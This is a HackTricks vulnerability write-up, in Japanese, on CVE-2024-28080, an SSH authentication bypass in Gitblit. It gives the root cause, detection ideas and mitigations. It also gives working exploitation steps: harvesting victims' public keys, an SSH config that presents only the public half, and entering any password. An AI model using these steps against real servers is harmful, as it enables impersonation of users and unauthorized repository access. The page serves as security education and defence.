Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

CVE-2024-28080 は、Gitblit の embedded SSH サービスにおける認証バイパスで、Apache MINA SSHD と統合する際の session state の誤った取り扱いが原因です。ユーザーアカウントに少なくとも1つの SSH public key が登録されている場合、攻撃者が username とそのユーザーの public key のいずれかを知っていれば、private key も password も不要で認証できます。

  • Affected: Gitblit < 1.10.0 (observed on 1.9.3)
  • Fixed: 1.10.0
  • Requirements to exploit:
  • Git over SSH enabled on the instance
  • Victim account has at least one SSH public key registered in Gitblit
  • Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/.keys)

根本原因 (state leaks between SSH methods)

RFC 4252 によれば public‑key authentication は2段階で進行します: サーバはまず提供された public key が username に対して受け入れられるかをチェックし、その後 challenge/response による signature が検証されて初めてユーザーを認証します。MINA SSHD では、PublickeyAuthenticator が2回呼ばれます: key acceptance（まだ signature なし）の時と、クライアントが後で signature を返した後の時です。

Gitblit の PublickeyAuthenticator は最初の、pre‑signature 呼び出しで session context を変更し、認証された UserModel を session にバインドして true（“key acceptable”）を返しました。認証が後で password にフォールバックしたとき、PasswordAuthenticator はその変更された session state を信頼して短絡し、password を検証せずに true を返しました。その結果、同じユーザーに対する事前の public‑key “acceptance” の後は、空を含む任意の password が受け入れられることになりました。

High‑level flawed flow:

  1. クライアントが username + public key を提示する（no signature yet）
  2. サーバはその key がユーザーに属すると認識し、ユーザーを session に早期に紐付けして true を返す（“acceptable”）
  3. クライアントは署名できない（private key がない）ため、認証は password にフォールバックする
  4. Password auth は既に session にユーザーが存在するのを見て無条件に成功を返す

ステップバイステップの悪用

  • 被害者の username とその public key の1つを収集する:
  • GitHub は public keys を https://github.com/.keys で公開している
  • 公開サーバはしばしば authorized_keys を公開している
  • OpenSSH を設定して public half のみを提示し、signature の生成を失敗させることで、サーバ側の public‑key acceptance パスをトリガーしたまま password へのフォールバックを強制する

Example SSH client config (no private key available):

# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)

接続して、パスワードのプロンプトでEnterキーを押す（または任意の文字列を入力）:

ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>

認証が成功するのは、先行する public‑key フェーズがセッションを認証済みユーザーに変異させ、その状態を password auth が誤って信頼してしまうためです。

注意: SSH 設定で ControlMaster multiplexing が有効な場合、後続の Git コマンドが認証済みの接続を再利用し、影響が拡大する可能性があります。

影響

  • 少なくとも1つの登録済み SSH public key を持つ任意の Gitblit ユーザーの完全な成りすまし
  • 被害者の権限に応じたリポジトリへの読み書きアクセス（ソースの持ち出し、無許可の pushes、サプライチェーンリスク）
  • 管理者ユーザーを標的にした場合の管理上の影響の可能性
  • 純粋なネットワーク脆弱性; ブルートフォースや秘密鍵は不要

検出のアイデア

  • publickey 試行の後に、空または非常に短いパスワードで成功した password 認証が続くような一連の記録を探して SSH ログを確認する
  • publickey method がサポートされない/不一致の鍵材料を提示した直後に、同じユーザー名で password が即座に成功するフローを探す

緩和策

  • Gitblit を v1.10.0+ にアップグレードする
  • アップグレードまでの間:
    • Gitblit 上での Git over SSH を無効にする、または
    • SSH サービスへのネットワークアクセスを制限する、および
    • 上記のような疑わしいパターンを監視する
    • 侵害が疑われる場合は対象ユーザーの資格情報をローテーションする

一般: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)

パターン: サーバーの public‑key authenticator が pre‑signature の “key acceptable” フェーズ中にユーザー/セッション状態を変異させ、他の authenticators（例: password）がその状態を信頼してしまう場合、次の方法で認証をバイパスできます:

  • 対象ユーザーの正当な public key を提示する（秘密鍵は不要）
  • クライアントの署名を失敗させてサーバーを password にフォールバックさせる
  • password authenticator が leaked state によって短絡する間に任意のパスワードを供給する

実用的なヒント:

  • Public key を大規模に収集する: https://github.com/.keys、組織のディレクトリ、チームページ、leaked authorized_keys などの一般的なソースから public key を取得する
  • 署名失敗を強制する（クライアント側）: IdentityFile を .pub のみに向け、IdentitiesOnly yes を設定し、PreferredAuthentications に publickey → password を含めたままにする
  • MINA SSHD 統合の落とし穴:
    • PublickeyAuthenticator.authenticate(…) は post‑signature の検証経路が署名を確認するまでユーザー/セッション状態を付加してはならない
    • PasswordAuthenticator.authenticate(…) は、前の未完了の認証メソッド中に変異した状態から成功を推測してはならない

関連するプロトコル/設計メモと文献:

  • SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
  • 早期受理オラクルや認証レースに関する歴史的議論（例: OpenSSH の挙動を巡る CVE‑2016‑20012 の論争）

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする